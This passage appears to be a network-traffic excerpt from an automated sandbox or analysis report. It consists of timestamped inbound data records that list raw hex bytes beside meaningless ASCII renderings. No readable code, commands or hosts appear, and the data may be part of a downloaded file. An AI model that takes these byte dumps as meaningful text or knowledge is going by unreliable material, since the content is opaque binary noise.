f8 f7 b8 23 b3 a0 b1 a3 a5 97 b8 af 8b c0 a9 a3 11 Data Ascii: q7ys1n\|e }Oo"U?r$<8~H<ze+P{q\|^?m4pc0d?D0#zeLQ}3<vbwR+~w0YZnJgiv@k0Al4xu]V}0[n^dl`zdP4%o#
2023-02-22 08:42:08 UTC	40	IN	Data Raw: 0a 75 b9 9b e8 f7 bc 92 a5 f5 67 29 b9 b1 92 07 72 64 f7 e1 0c 13 a9 7d 4b b7 eb 31 50 2e 2c 06 4f 89 18 98 c2 a4 5c d3 bf ea da 2a ed 56 e4 36 be d0 b6 f1 7c dd 8f 8e cd ed 47 c7 b2 08 1d 06 b1 bd ad 51 5f 6a 20 ae 23 db 7f 86 72 e6 ba 4c 63 70 f1 a7 00 f4 68 34 7d bd 86 bb 60 43 b2 ab 15 ec 1c fa 1c 57 e6 7a f6 48 fd d6 10 c8 58 2c cc d7 58 2e 5f 93 61 be 1e 18 e1 dd fc a9 e0 06 2d 77 5d 71 21 bd 2c a1 df b3 f4 83 0d 86 ba 7c a5 e4 88 9b 2b 94 30 1b dd 03 2e 52 3e f2 36 15 4b 7f 48 ff a4 6f 3e cb fd 04 e5 95 c7 9c de 7b 27 33 e8 06 e9 b8 dd 50 bf 55 8a bf 3b a3 39 f9 9c 91 54 2c a5 bc 63 d1 46 05 9a a4 93 c1 cf fb 94 ee bd 47 09 54 c4 3b 0e 3d f4 4a c5 4b 15 3c e0 5a 0d 5c 11 7f 61 80 26 b3 06 1d f0 03 97 12 cb b9 f6 4c 49 19 83 d6 bd db 18 ac 47 10 8d Data Ascii: ug)rd}K1P.,O\*V6\|GQ_j #rLcph4}`CWzHX,X._a-w]q!,\|+0.R>6KHo>{'3PU;9T,cFGT;=JK<Z\a&LIG
2023-02-22 08:42:08 UTC	41	IN	Data Raw: 9c 06 3d 1e e3 8e 9d 99 af f4 8d 47 6c a8 f3 1d 30 3e 9c 2d aa 2c ee 2d e5 46 76 e4 e4 2a 96 93 8b d0 ca 71 ef 59 91 12 6e ab b9 68 fd 2a ce d5 50 d1 32 dc fa 78 ea ad b0 8c 27 c5 78 f2 c0 24 6f 76 22 47 14 37 58 2e b3 c1 2d 3c ec ae 1e fc 44 05 3c 4c aa 97 23 5c c9 94 bf 3f 57 3f 66 59 07 d3 62 86 0a 58 27 8d 19 f4 2c db a2 b6 ac 57 ac 58 3f cd 02 2a fe 23 88 8d 77 1a 3d cc 65 0b 81 e0 1a db b5 ee 22 ae c0 d9 e1 3e 1a 0f f5 51 90 b4 92 7e 68 08 b4 ca a3 01 99 fe a7 20 4f 28 4b 45 58 bf 7f 2c 45 58 e2 9e 6f d4 56 0f 9a 62 83 f4 37 08 3f df f7 60 35 5e fa 6a 06 5c dc 08 5d 69 e8 6f 7b 71 6b 76 c8 11 76 e8 6e 5c 3e 18 e1 51 82 17 92 dc da a5 0d 05 5b da 60 55 40 85 04 33 0d 4a 1f 7d cd 12 da 5b 1a 9c fb 7c 84 57 73 90 54 fd 06 2a 94 a1 a2 94 a9 48 42 0e 16 Data Ascii: =Gl0>-,-FvqYnhP2x'x$ov"G7X.-<D<L#\?W?fYbX',WX?#w=e">Q~h O(KEX,EXoVb7?`5^j\]io{qkvvn\>Q[`U@3J}[\|WsTHB
2023-02-22 08:42:08 UTC	43	IN	Data Raw: 72 06 a9 bb 19 12 36 11 cd 68 df c3 68 23 f3 12 33 3f 8d 1a d0 79 0c 0a df de ca 75 0d 3b 98 82 62 c3 41 ad 9e 93 5d aa ee f1 65 4e 06 7b ef 5c 15 d8 7b c0 d8 74 4e 76 44 50 9f c1 a8 ce 54 24 45 e7 60 79 76 20 59 e7 24 b4 f7 59 a2 bd 73 13 e6 f4 6b 66 a1 3d 54 8c ac bf ee 09 77 ba 53 77 7d a3 e9 69 58 1b 6e ef 46 b6 fb 5b 32 0a eb de bb ce a7 77 b3 de 1d ef ee 1e 98 33 55 ee 3a fb b6 89 dc 7d 38 c5 a1 70 69 28 5c 16 0a b7 0a 85 db 84 c2 f1 50 58 85 c2 2d 12 76 bf c0 f6 78 f3 fb a6 22 0e cc 4c 27 3e cf 89 2f 72 de 47 39 30 55 a1 f2 c6 3a 69 25 4e 9e 98 f3 de 18 cf cd 73 40 88 67 e3 42 e1 31 a1 f0 68 a7 8c 96 a1 f2 a7 86 60 a7 85 c2 e3 43 e1 92 48 6e b8 34 14 4e 85 c2 65 11 5b 76 b9 f3 9e 72 ea d7 da 79 af 0c b7 67 08 5f eb 50 f8 a7 10 7d 15 6e 79 21 5c bf Data Ascii: r6hh#3?yu;bA]eN{\{tNvDPT$E`yv Y$Yskf=TwSw}iXnF[2w3U:}8pi(\PX-vx"L'>/rG90U:i%Ns@gB1h`CHn4Ne[vryg_P}ny!\
2023-02-22 08:42:08 UTC	44	IN	Data Raw: 40 6a db e4 0a ce 7a 01 3d b3 b7 4f 32 9f 48 5b 98 f4 2c a7 63 cb a6 26 8e f1 48 35 7d ac 94 11 86 8a 68 be 01 56 df 45 41 71 42 f5 6f 90 5e dc 9c ec 3a 1d 3f dd 92 0b e1 23 06 c3 63 1d da 4d d6 52 e0 98 c1 54 9e dc 50 1a f3 cb 59 41 44 42 8d a9 ef 85 62 27 d4 93 e8 0b 2b a1 c3 f5 28 14 5c 6c 15 f4 64 1a 95 a5 27 43 a8 9c d1 85 49 fa 9c 9b 4d 2e b6 4a 7a 77 27 cc 22 81 88 e1 ba 15 e7 66 3b b5 73 ef 56 af a6 9d da f4 51 0c db 27 13 39 ef 47 e5 5e 43 dd 47 11 ff 25 bd ec 1d b3 7d d4 9e f1 5a ee d8 36 e5 11 7b 0e 4a c7 26 7b f5 e5 fd 55 d7 66 ca b1 93 b4 cd 65 ed f6 97 5d d8 c7 1c fb 6a 57 3b 9f 79 cd 85 61 1b ac a9 9d b6 8c df f7 77 e7 0c 2c 7e 3a fd 75 e7 fd e9 26 77 67 fd ff 9b 2b b4 71 78 d5 26 a2 cf 0a f8 7b 33 b8 47 a8 e0 13 71 f3 e7 5c 6b 1d 88 ce dd Data Ascii: @jz=O2H[,c&H5}hVEAqBo^:?#cMRTPYADBb'+(\ld'CIM.Jzw'"f;sVQ'9G^CG%}Z6{J&{Ufe]jW;yaw,~:u&wg+qx&{3Gq\k
2023-02-22 08:42:08 UTC	45	IN	Data Raw: e2 94 83 f5 b9 0b 67 6f b7 12 f3 28 60 ab b5 bc de bb d9 f2 f1 34 f0 f1 53 24 97 03 d5 95 9b 77 2e 50 72 2c 34 4b c0 f1 fc 81 b7 1f 72 4d db 6c 24 a0 7d 45 55 85 ed 23 fe 9d 5b 4d 75 52 91 ec 22 14 f6 25 90 af 44 89 83 90 b7 23 e7 95 dd fc cf 20 96 a7 50 45 1c 5b e1 79 d0 80 3f c5 8d 38 05 6d c0 57 57 05 25 ba 32 24 ba 64 28 30 bc b1 c9 54 32 d8 f3 be 27 a2 1f d9 64 da 2d 60 fb 2e 88 be 7e 93 ae 77 e6 2e 85 15 dc cc e3 0a ef 6d 40 f4 31 32 31 8b cf 81 98 61 71 04 d0 28 a5 b2 8d 40 0f e3 f6 77 40 96 10 88 c3 48 ef 83 04 66 c3 13 0d d2 6a 46 da 7a 93 91 98 80 b0 6e 5a 5a d3 db f9 f0 04 76 f6 ac d9 68 5b f5 49 40 15 eb 56 5d be 51 58 f6 1d 62 e1 1c f0 5f dd 18 a6 13 fc aa ac c8 dc 07 76 ec 0a 90 db 36 1a 2e e5 b6 9c 4c a4 17 6e 34 6c b9 23 a8 c5 79 c3 ea 6f Data Ascii: go(`4S$w.Pr,4KrMl$}EU#[MuR"%D# PE[y?8mWW%2$d(0T2'd-`.~w.m@121aq(@w@HfjFznZZvh[I@V]QXb_v6.Ln4l#yo
2023-02-22 08:42:08 UTC	47	IN	Data Raw: 53 e0 5f ff 4a 05 67 e3 c2 d1 6e fc eb 5c b0 92 8e ab 62 e9 f9 4a 3b 5f f3 92 21 0f 7b 40 d7 61 41 26 68 77 1f 5e 8d e8 1c 2f 70 a0 f3 a0 30 c8 44 c9 59 b8 c8 ec 25 09 59 dd b3 4c cf a3 ec 1a 4d 63 ea 29 fe 55 2e 88 cf c9 f5 af 69 e4 23 72 fd 2f 1b 79 a4 58 79 3c 2b c9 98 97 af 39 a7 9d ed c8 53 37 c8 fa 64 fb b0 32 de 93 b3 89 af bd ad ba ea 21 e3 6b ef dc bc ff ba b3 eb bf de 35 ec 8b 75 23 28 bd 4b 38 bd 4b 6e 7a d7 e6 cb e8 ea 96 d1 2d 8c c3 8d 28 ef 9d c7 4e 4e c8 8a 3d 17 15 89 cc fb b4 92 e5 18 f0 a1 fe 48 d8 c7 92 80 9c 96 94 cd b5 58 5a d3 83 46 d0 a7 48 99 53 47 56 0b 09 c7 b7 04 d7 87 c2 83 e9 ff d1 14 1e 46 bf 39 d4 70 ff a1 3c b7 d2 ff 33 95 9c f9 30 8b c2 18 04 96 e4 49 bb 2e a3 fc eb 29 6e ad 92 c1 17 ed d9 97 12 5e 20 d8 79 54 c6 01 04 b7 Data Ascii: S_Jgn\bJ;_!{@aA&hw^/p0DY%YLMc)U.i#r/yXy<+9S7d2!k5u#(K8Knz-(NN=HXZFHSGVF9p<30I.)n^ yT
2023-02-22 08:42:08 UTC	48	IN	Data Raw: b3 a8 46 76 60 38 eb bd ba 3b fe 83 ee 91 dc fd 5f 47 29 3b 17 9b a0 72 e7 98 23 43 73 ce 7b 1c 58 f1 15 4c d5 69 21 df 80 cd 73 a8 93 67 49 28 ed ce 50 f8 7f cd f7 6f 53 c1 9c 75 54 ee 5c f4 f8 10 dc bd 4e 99 77 85 d2 a6 85 c2 e3 2d ec ff f3 1c bd 7b 68 8e 1e 9e b3 87 7c 1d fc 19 ce 0d f7 6c 76 4e af e7 e4 a1 fd 40 17 22 51 ea e4 ce e3 9b ce d9 25 de 9d 87 cb dc 1b eb cd 71 4e 63 3e 16 78 45 71 7d 75 bb 34 cc fb 12 d5 50 81 40 a6 13 7a 15 44 ab b2 28 2f fd 2b fd 9f 4f 99 31 49 6d 91 9f f6 75 f0 7d 80 b2 c7 34 43 56 5a 61 cb 82 34 46 04 f4 f3 99 15 17 17 40 de a9 03 17 d6 d3 f8 58 48 b3 25 1f c3 87 aa a7 61 bc 70 01 72 87 71 b4 ca 90 0d 44 aa da c3 64 ac 70 e5 3c 02 9e 5d 83 e3 47 ea a0 1e ba 56 f8 55 ca 2c c0 8c a7 e2 99 1e c8 43 5d 20 91 4a 50 4f 68 48 Data Ascii: Fv`8;_G);r#Cs{XLi!sgI(PoSuT\Nw-{h\|lvN@"Q%qNc>xEq}u4P@zD(/+O1Imu}4CVZa4F@XH%aprqDdp<]GVU,C] JPOhH
2023-02-22 08:42:08 UTC	49	IN	Data Raw: 72 d6 4a 99 6f e6 81 2c 81 06 0c 2a 2d 51 87 f9 03 28 6e 71 be a9 47 21 ea 41 79 7a 2c 40 02 a7 ea 9a fc ff a2 bd eb 7c ea 81 85 9a be 81 01 4d 09 de ad 38 d2 ea 9d b8 6e b7 b8 2c f6 a8 03 c9 11 b9 73 f3 da 00 25 4c 99 15 4a ae 05 f6 fb 03 7b 2a 91 8a 5d 72 c2 a0 75 8d c1 86 56 d6 2e fe 8f 56 c5 c0 79 75 bf 6d 5e 28 f7 54 2c 95 b8 8e 04 37 69 00 2e b2 0a 66 01 0b 6e 2b be 9d 7b 3f 9a 4b ce aa c2 6e fd fd e9 cd bf 59 81 83 99 d1 11 3e 57 47 34 0a 72 8f 69 34 06 c3 30 7a 9d 5f 8b 8d 23 14 8a 46 a7 78 bb 25 9d f9 04 80 6b 6c 51 ad 41 6a a6 31 38 26 9b 4f 85 e4 bc a9 48 e6 80 88 b0 38 39 c5 db 9d 72 cd ba 9b 88 28 8f 8a 67 9a 29 fe cc ae c5 78 b7 01 1f 45 13 9c 3f 95 a8 9c 42 af 3f 36 04 e3 fb 60 15 b4 5f 1f dd 7e ee be b0 26 d3 b4 15 cd b6 61 20 c7 07 04 b8 Data Ascii: rJo,-Q(nqG!Ayz,@\|M8n,s%LJ{]ruV.Vyum^(T,7i.fn+{?KnY>WG4ri40z_#Fx%klQAj18&OH89r(g)xE?B?6`_~&a
2023-02-22 08:42:08 UTC	51	IN	Data Raw: 8a d0 f7 14 3a 52 ed a5 fe e0 50 2c 8e d0 28 d5 1b 6b 78 55 05 87 0e 56 67 72 a8 3b 87 a6 ab b7 b8 12 83 38 34 43 fd ce 69 e3 38 74 a6 1a c2 5a f7 28 0e 2d 52 97 50 a8 54 cd 8e a3 bc 2b d4 2b 9c 76 01 a7 dd 8e 2d 8d 14 bc 3e 8e 3a 3c a4 e6 c7 90 f6 20 a7 3d ac 2e e3 d0 8b 9c ef 69 5c 8c 4d c1 e5 0c f9 12 51 88 b4 9f 38 6d 99 2a 8a a3 ee 5b 38 ed 1d d5 17 36 88 6a 99 40 e8 03 de 68 49 33 0a 0e ad 50 07 71 be 7e 09 e4 fb 42 4d e1 d0 be 09 94 f7 bd ba 8a 43 87 70 da 4f ea 9e 38 ca 3b 89 f3 ad 51 bf 72 da 59 0c b9 96 4a 02 ce 2b 38 ad 30 b2 30 01 c8 3b 38 54 1a 39 3f 01 5a 9e e2 50 2a 72 39 1a 4c bd c5 a1 56 91 7b 12 60 d3 57 5c 42 55 e4 7e 0e ad e6 50 e7 c8 46 0c 5c 2a 9e 44 db d6 46 6a e9 7f a9 ea 97 44 3e 84 80 66 df 24 4e 0b e8 19 e9 c7 69 27 72 5a cf c8 Data Ascii: :RP,(kxUVgr;84Ci8tZ(-RPT++v->:< =.i\MQ8m[86j@hI3Pq~BMCpO8;QrYJ+800;8T9?ZPr9LV{`W\BU~PF\*DFjD>f$Ni'rZ
2023-02-22 08:42:08 UTC	52	IN	Data Raw: 4f d0 e0 05 fa 0e 4f 58 f0 19 bb d3 16 e0 39 85 16 2e b8 c2 99 1d 0b ae b1 1e 42 7c 0c 7a 16 6d 3f 5e f0 b5 fe cb 23 17 7e c7 da 66 61 4f ee 21 7c a1 ce f4 59 d8 c2 9a b2 50 9f d5 e9 0b b7 f1 ee 55 ae d4 bb f7 e2 4a bd 63 07 11 d7 41 eb 57 ea dd fb 68 e5 8f 3e 41 14 b4 4a f9 86 d0 17 ab 0e f1 a7 c2 6f 57 85 fa 06 50 cb aa bb 7c dd e8 cc 6a 5d 79 61 b5 6e db 04 bd be 7a 2c df 09 3f ad 9e ef ab 68 e0 1a 7d ff 0f 5f a3 9f 85 94 35 7a ce e9 d0 d9 d0 82 35 7a af 96 ac d1 b3 75 21 b3 75 8d 7e b2 1e 59 13 cb 3b 7f 72 83 ce 7c 08 fd 0c fa e5 06 dd 5b 33 f4 ce 06 5d e9 b5 31 9e ef 99 8e 5b 6e fa 06 51 bf 2d bf f0 ac de dc ca a3 ab 86 ad 33 fc 82 d4 d5 ad 0e d6 9b 5b 73 58 6d 15 05 ac e1 15 85 ac 83 10 27 57 94 b0 66 56 ac f0 4b 0b 27 fe 4c 15 44 fb dd fb f0 8b df Data Ascii: OOX9.B\|zm?^#~faO!\|YPUJcAWh>AJoWP\|j]yanz,?h}_5z5zu!u~Y;r\|[3]1[nQ-3[sXm'WfVK'LD
2023-02-22 08:42:08 UTC	53	IN	Data Raw: 14 7a af 26 e3 19 bb 8b 7a de db fa 8c dd 45 5d c7 18 de cd f6 89 d6 2e 34 68 8c e1 99 3b a4 68 4a 35 3c df 0e 89 d6 ae 94 94 6a 78 ed d8 eb 4a 19 63 0d 4f df bb dd 28 6f 6c eb bd db 8d 4a c5 eb da 21 d0 da 9d 2a c4 eb d7 21 94 a9 52 bc bb 3b 74 b6 f6 a0 03 e2 dd d3 a1 1b d3 f1 71 86 97 c6 e3 f5 a4 f3 e3 0c 6f 06 8f d7 93 2c 69 86 37 8f bd 5e 14 9c 66 78 8b d8 eb 45 3d d3 8c d5 96 76 48 b3 f6 a6 0a a1 8d 1d 62 f9 f8 0a 9b 80 5d a2 47 40 47 85 2a 41 99 13 0d da 07 ba 2e 54 03 2a 9d 64 d0 3b 46 2f e9 06 9d 34 7a 49 37 46 f8 80 c7 8b a4 06 a1 4b 4c 51 d4 28 f4 05 53 34 35 0b dd 60 1a 40 96 c9 06 dd 66 1a 44 79 42 96 30 e5 16 43 4e d0 0e ea 18 56 ad e2 a8 44 a8 7f 58 2e 53 b9 d0 b8 b0 18 a6 ed 42 73 c2 3c dd e2 68 97 d0 d2 b0 72 4b 1c ed 11 da 12 96 ce 95 35 Data Ascii: z&zE].4h;hJ5<jxJcO(olJ!!R;tqo,i7^fxE=vHb]G@GA.T*d;F/4zI7FKLQ(S45`@fDyB0CNVDX.SBs<hrK5
2023-02-22 08:42:08 UTC	57	IN	Data Raw: 97 4e 8a 37 8d bd 5a ba 28 5e 36 7b b5 74 cd d7 d8 89 c2 d4 34 6b 1d d9 fc 0c 5a c9 74 8c d2 82 8d fd dc 90 5a ad 4e 50 86 d0 63 a9 31 4c d9 42 2f a5 be e1 79 82 9c 42 75 a9 b9 ec 95 0a fd 09 54 21 f4 65 6a 81 f9 04 ed 12 fa 05 b4 47 28 60 ac ae ac 11 ea 36 56 7b b5 42 43 40 f5 42 63 c7 fa ba 9d a0 4b 42 59 f0 ae 09 2d 01 35 0b 6d 06 51 1b 83 9e c4 08 fe 42 af 82 c2 85 4e 8c 4d 67 8a 16 fa 78 ec 17 ee 27 28 41 e8 6b 54 a6 09 a9 71 4e eb 09 72 08 b5 19 a7 47 70 0a f5 02 2d 17 1a 36 2e 9b 2b 37 09 4d 18 a7 47 d8 25 94 83 ca 3d 42 2b e0 d5 08 dd 3f ae 98 db 1d 17 aa c2 78 e7 85 de 18 a7 e7 72 55 e8 d4 b8 10 de 89 66 a1 4f c7 ed 63 b2 84 18 f4 2d 2a 83 85 ac e3 75 9f 5d 85 da 8d d7 e3 0d 12 ea 3b 5e 57 26 09 d9 c7 37 f0 cc 52 85 26 8f d7 f3 cc 10 ca 1f 5f 6e Data Ascii: N7Z(^6{t4kZtZNPc1LB/yBuT!ejG(`6V{BC@BcKBY-5mQBNMgx'(AkTqNrGp-6.+7MG%=B+?xrUfOc-*u];^W&7R&_n
2023-02-22 08:42:08 UTC	62	IN	Data Raw: 3c 7a f1 f8 dc a0 b7 d6 85 f0 ac 43 85 ce c2 eb 29 74 79 9d 5e c3 20 a1 1f e1 25 09 79 ad 7f cb 6b b8 4a 17 ea b4 5e 8f 97 2d 34 72 bd 5e 43 89 d0 1c 78 e5 42 4b d7 eb ab b2 5d 68 0b 68 b7 d0 53 a8 dc 2f f4 da 7a 3d fa 21 a1 3f 82 8e 0b fd 79 7d 03 53 bd d0 df e0 5d 14 0a 2a d7 74 55 68 62 b9 5e 7b b3 d0 82 72 bd 06 4b a3 41 65 a8 f4 17 7a 0e 14 26 f4 1e a8 a7 50 13 68 90 90 79 83 a6 04 a1 1e a0 54 a1 31 1b f4 8a 32 40 c6 c9 30 5c 35 82 8c 93 61 b8 ba d4 a4 29 d1 bb d3 c6 44 eb 08 75 bd c9 78 aa 7a 6d 4c 61 a2 cb 86 37 88 bd 04 e5 7f d9 f0 46 b0 97 a0 c2 c5 bb 97 3d bb 8a 16 6f 32 7b 76 95 20 9e 63 a3 9b e7 48 95 26 de fc 8d 36 a6 6c f1 96 b2 97 a8 4a c4 2b 63 2f 51 95 c3 53 54 b1 31 96 92 54 f8 75 83 9e df 98 66 4d 52 95 5f 1b 2b 3a b1 b1 5a 8d 52 d5 42 Data Ascii: <zC)ty^ %ykJ^-4r^CxBK]hhS/z=!?y}S]*tUhb^{rKAez&PhyT12@0\5a)DuxzmLa7F=o2{v cH&6lJ+c/QST1TufMR_+:ZRB
2023-02-22 08:42:08 UTC	65	IN	Data Raw: 85 4c 96 c4 fc 8c 04 97 85 e8 b5 97 21 5f 86 7c 95 a8 5e 7b 15 f2 75 1c 47 05 d7 21 5f 87 4c 93 e8 15 af 91 c1 4d 46 6f 6d b1 c6 b6 e8 bf 2d 56 d4 56 ef 43 19 32 65 c8 54 21 ae 92 58 9f ff 75 6d f1 c4 21 5f 87 7c 93 28 ce 76 e4 55 28 ae 45 a8 11 eb 27 b7 0c 99 32 8e a7 04 97 21 5f d6 c1 50 e4 3b e8 3b bf 0a 71 15 f2 55 9c c9 0e ae eb a0 3f 3b d5 21 53 07 b7 09 71 53 07 8c 85 8c 0a 33 14 63 85 e1 ad ca ba 3a 38 02 f9 08 e4 ab 90 af 92 18 f5 1d 0d d5 d7 42 75 c4 bd 21 8a 4f cb 70 ed a2 f8 84 0c 37 0b 99 ac 8e 7a f4 2c 64 ca 90 29 93 18 cf 11 e2 2a e4 ab 3a ea bd aa ed a8 9f 82 3a 64 ea e0 d6 75 d4 f3 69 ec a8 9f 82 26 8e 2b 82 9b e0 36 c1 a5 4e 98 5b 27 ac a8 93 7e d2 15 32 e1 d0 04 a8 03 ea 82 96 a1 b2 4c 62 bd a2 4a c4 55 9d b0 6a b8 55 c8 d4 42 eb 90 a9 Data Ascii: L!_\|^{uG!_LMFom-VVC2eT!Xum!_\|(vU(E'2!_P;;qU?;!SqS3c:8Bu!Op7z,d)*::dui&+6N['~2LbJUjUB
2023-02-22 08:42:08 UTC	69	IN	Data Raw: f8 a0 de 10 cb 84 5c 4e aa 33 bc a2 aa 76 f0 81 a4 ca 87 ed 4d 98 00 91 75 01 2f 4d 28 02 67 c9 e6 fb ba eb 3c b4 60 a2 c8 85 86 1b 7e 75 22 62 53 d2 9c f1 41 81 77 f8 5a 9c 84 0e 89 2f 6f 3f b3 39 02 6c bb 29 6f 3f 25 9f aa 59 93 3a 84 42 2e 68 d0 4e 17 4e 3a dc 94 88 cb 86 84 29 5f 80 32 75 8f 10 a1 24 16 58 53 b5 b5 f5 c2 80 51 e2 43 15 8c 63 81 25 96 9d b1 81 88 82 c8 bb f4 c9 8e ce f2 b2 19 66 d2 27 49 04 f6 63 6f 56 1f a7 34 ec 01 ab 74 00 15 09 30 5f 2f fb 10 88 2a 50 ba 3e 78 53 08 ac 81 51 4f 3b de 83 9f a4 c5 bd 52 b1 21 33 19 88 03 f2 78 1a 09 86 99 0f d5 5c 91 d1 40 41 c0 ae d7 9c 88 af 95 70 48 e6 59 f9 b1 0c 4e af ef 72 7d 31 c4 61 8d 77 5b dd 48 16 6c 22 b3 c6 b6 8e 2e d2 ec e0 98 31 18 04 d8 60 bf 87 eb 27 6f cb 90 ac 94 aa c1 8c 40 4c 9f Data Ascii: \N3vMu/M(g<`~u"bSAwZ/o?9l)o?%Y:B.hNN:)_2u$XSQCc%f'IcoV4t0_/*P>xSQO;R!3x\@ApHYNr}1aw[Hl".1`'o@L
2023-02-22 08:42:08 UTC	74	IN	Data Raw: d5 a9 b7 06 eb 57 19 8d 1a 23 40 79 bc 76 ec 86 5e 6f 6c 19 e6 f7 a5 36 2f 3f b2 70 24 55 79 85 29 01 87 5b 91 2b 34 9c cf 71 e6 34 32 ef 58 ba 40 ba 52 e9 c1 36 51 e4 e6 eb 75 2c 11 b7 21 60 b7 61 a9 b0 1b c5 5f cf c8 f3 0f ec b5 4d 77 04 4c 6a 34 36 08 9c 4d d1 34 10 c1 c0 66 e0 2a 19 e6 35 35 aa 70 fb c0 8d 83 84 f6 34 c1 08 6d b3 2a 35 6d 6b 1e 4d f4 78 c3 8c af 00 c1 3c 5c 0f 6f ac 52 bb e8 10 43 2a fb 55 83 78 97 93 c8 69 f2 cc 7a af c2 4c c9 50 96 80 b6 1c 4e f9 68 ba ca 61 97 d7 5b df 93 5b 93 6c 16 f5 34 e1 e6 4d 6d ec ad eb cb 5c 88 7d a0 e9 1e 31 e0 8d 4e e3 c4 36 cd 7b 60 55 37 54 16 38 da 8f cd 83 96 88 ec 5c c8 75 a9 15 e0 4d 17 7e d6 cd f4 18 a8 22 ac 87 d6 38 36 b0 79 03 64 cf cd 6c 88 b8 2d e7 ee 7d ef 17 c8 a1 be 36 8e 06 b5 07 5c c3 b9 Data Ascii: W#@yv^ol6/?p$Uy)[+4q42X@R6Qu,!`a_MwLj46M4f55p4m5mkMx<\oRC*UxizLPNha[[l4Mm\}1N6{`U7T8\uM~"86ydl-}6\
2023-02-22 08:42:08 UTC	78	IN	Data Raw: 83 ad d3 b4 e1 e0 1c 03 9c 62 b0 4c 1d 9e 96 2f 3c 22 72 19 95 c8 04 77 60 ed f3 14 7a 22 2a c4 8e 2a 2d 62 e9 82 6c 47 b4 b4 09 5d ad b0 5d 1e dd 4c ff 58 81 39 89 ad 17 85 c5 86 bc 1d 68 39 2a c4 27 ef a8 69 ca d4 09 0f 9c c1 0a b7 5a 89 d4 bb d9 7e 8c f2 58 0f 7f a1 7e 6d 20 87 b2 11 41 0a 44 b5 08 b0 19 1a 96 a0 52 1f 8d 59 bd 1d 16 94 37 53 50 1c d4 d4 b0 2e 94 fd d8 21 e9 00 3a 4e d1 d4 19 22 ae c3 a8 42 95 33 9f e1 0d 7e dd 3a 21 01 c4 f4 e2 bb c3 b7 e9 bc aa 0d 68 fc b1 14 3c 14 ca 6f 46 1f a4 3a 50 fb 13 78 8c 76 88 06 04 15 dc 51 f3 c7 80 23 f6 eb 56 76 c3 96 ee d0 55 c6 1d 53 27 b8 ed 3e 03 e0 ab 0c 45 c3 50 8f 92 2c d2 4f 8d 79 b6 08 c8 b4 b4 0e 48 c8 a9 fa 5a f3 24 f9 c5 08 2c d8 77 b7 94 22 68 09 56 83 b3 51 b5 9c 6b 06 c4 6c 61 42 25 b4 62 Data Ascii: bL/<"rw`z"*-blG]]LX9h9'iZ~X~m ADRY7SP.!:N"B3~:!h<oF:PxvQ#VvUS'>EP,OyHZ$,w"hVQklaB%b
2023-02-22 08:42:08 UTC	82	IN	Data Raw: c3 8c f2 ac 93 5b 23 07 71 72 1b 9a 49 07 2a a9 c6 62 e0 25 9f 19 c1 60 8b 17 14 aa 88 f7 0d 7a ef 58 e7 73 f1 95 80 56 c7 91 79 76 9e 33 1c 74 de 70 53 19 4b 01 7f a6 e3 d3 a1 d2 de 00 ae db 06 a9 a3 25 82 0a cc d2 09 e0 78 d1 7a f7 06 e1 3a 90 b1 bc bf 50 70 ae 71 a0 d2 b5 1f 3c 41 5a c7 c1 8d a0 ce 8d 8c 0d 5a 06 fa e2 f1 3e 09 c8 13 09 32 dd 7a 4f 30 68 2b 25 10 65 51 da 06 50 7a 46 9c b2 d1 93 83 40 1b 36 31 ed 9c 6e b8 01 56 95 70 c9 77 b0 d6 5d 10 f8 79 b9 ec 53 02 33 07 49 cd e0 6c 98 47 13 18 eb 23 14 d6 dc c4 8a 33 9d ed 98 dc 78 b4 8b d2 77 9c 9f 83 d5 b1 ee 91 e4 50 32 91 bd 3d ca 7e 3e 79 1a bc 75 44 87 47 47 92 fb 31 58 02 64 5b a5 05 48 83 17 3d 05 07 f6 98 cd be da 68 6f 3e af 3d c2 e2 64 5d 0e 0b 37 e3 db 31 38 aa 40 35 e0 d1 e7 63 ba 83 Data Ascii: [#qrI*b%`zXsVyv3tpSK%xz:Ppq<AZZ>2zO0h+%eQPzF@61nVpw]yS3IlG#3xwP2=~>yuDGG1Xd[H=ho>=d]718@5c
2023-02-22 08:42:08 UTC	86	IN	Data Raw: cd 6e 6e 48 a6 e9 a4 1b 30 8e a5 8d 72 90 36 19 4d ce ac 70 0d 33 21 02 74 d3 4c ec 2f 24 9b 3c 4c 56 9c d2 cd 4c 98 ca ec db 27 14 d6 d3 87 d2 f9 d0 f5 a6 f4 79 32 07 d0 cc 94 83 22 f5 50 64 29 cf 8d a9 9c e8 2e 58 99 a6 21 74 f6 62 db 07 61 e7 6c ac 94 fd 66 b3 00 c1 aa 6b 28 ad 31 bb 26 81 23 c9 c6 81 23 d8 49 08 44 91 32 f4 38 d4 59 16 0c e9 96 31 9c 07 4e cb 05 9b 11 69 f8 19 bf 16 57 40 22 c7 06 09 47 68 92 08 5d 4f 12 f6 10 c9 64 68 44 9c 93 7d 28 85 1d d8 04 9a c1 e3 0b e4 ac 81 69 e6 1a ab f3 48 25 61 22 16 1c 8d 68 ac 46 12 1c 6d ee da 86 85 c0 a0 08 63 6b 9b 35 8e 82 89 21 32 f0 45 d5 58 4c 92 85 32 01 e6 60 63 f4 87 c2 18 cd 00 eb 8e 0d 7a 35 d2 e1 98 5a 37 f6 ac 96 49 e2 72 35 96 6d 86 84 e3 4a 04 9c a3 ce c2 74 a4 a5 67 a0 78 18 32 1e 4c e5 Data Ascii: nnH0r6Mp3!tL/$<LVL'y2"Pd).X!tbalfk(1&##ID28Y1NiW@"Gh]OdhD}(iH%a"hFmck5!2EXL2`cz5Z7Ir5mJtgx2L
2023-02-22 08:42:08 UTC	90	IN	Data Raw: 0e 32 41 80 21 c4 14 fb 67 15 8c db 9b ed dc 54 51 ae 25 b9 a4 89 e2 11 06 93 70 26 0d e9 54 95 8f 3d 75 b5 a4 d6 a8 3f 1f 03 7d 86 12 fc 46 dd 79 2b 03 97 7d 24 74 3a 28 08 0e 3b d1 70 55 6d 7f 9c 23 03 9d 24 7b 02 05 0e d8 a0 ef ad d5 55 7f ef f0 64 34 25 85 83 0c 43 bf a2 cf 28 75 8f 0d 29 d9 dd e3 ba e9 6e 8b 25 fe e2 bd 2d b5 00 7f 40 bd ae c8 a8 e3 ee c6 50 68 ac df 3d 4c e9 ea 9b 72 6a 75 87 7d 62 13 86 ea e8 b8 9d f6 ba 1b 73 aa ae 82 e2 fd 67 cb 13 14 77 08 ca bf d9 22 5a c9 ae 4a ba e7 63 48 c2 71 32 d5 ee e4 f5 06 ce 2a 02 c3 0e 23 0a a4 7a 4c 07 7b 82 44 d4 73 4c b6 80 b1 0e e0 18 48 3d 71 8e de 4f fb 4a a2 6c 32 30 83 de f6 b0 53 31 ba 0b 43 ac 3c f6 dd 83 05 3a 88 82 47 43 75 